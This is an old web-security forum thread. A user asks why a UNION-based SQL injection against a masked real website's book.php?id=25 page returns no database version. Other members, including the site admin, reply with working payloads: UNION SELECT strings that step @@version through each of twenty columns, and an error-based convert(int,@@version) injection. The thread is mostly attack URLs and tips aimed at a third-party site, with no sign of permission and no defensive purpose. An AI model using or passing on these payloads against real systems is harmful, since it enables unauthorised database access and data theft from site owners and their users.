|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
union all select @@version etc... returns a valid page |
|
Posted: Thu May 08, 2008 3:56 pm |
|
|
mux0x55 |
Regular user |
|
|
Joined: May 08, 2008 |
Posts: 7 |
|
|
|
|
|
|
|
Hi @ all.
When I try this:
Code: | http://www.***********.com/book.php?id=25 union all select @@version,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 -- |
column number is correct but it returns a valid page without version info.
Why? Can You help me? |
|
|
|
|
Posted: Thu May 08, 2008 4:48 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
How do you know, that this is valid sql injection? Did you tried other column counts and got error messages?
Next question - are you sure, that column 1 is able to feed back the needed data?
Look at response html - can you see columns feedback (numbers 2,3,4 etc)?
If so, then use @@version in place of right column. |
|
|
|
|
Posted: Thu May 08, 2008 5:33 pm |
|
|
Snap |
Active user |
|
|
Joined: Apr 14, 2008 |
Posts: 25 |
|
|
|
|
|
|
|
just try with ..
Code: | 1 and 1=convert(int,@@version)-- |
cheers ! |
|
|
|
|
Posted: Fri May 09, 2008 9:10 am |
|
|
mux0x55 |
Regular user |
|
|
Joined: May 08, 2008 |
Posts: 7 |
|
|
|
|
|
|
|
Thank you for ur answers guys...
Then... I told that those are right columns 'cause when I try a column number less then 20 I got the error msg '... sql statements must have equal number etc...'
Am I wrong?
Thank you again... |
|
|
|
|
Posted: Fri May 09, 2008 1:32 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Try all columns for visual feedback:
Code: |
http://www.***********.com/book.php?id=25 union all select 1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--+
|
Code: |
http://www.***********.com/book.php?id=25 union all select 1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--+
|
... and so on till last column. And look for feedback (version information). |
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|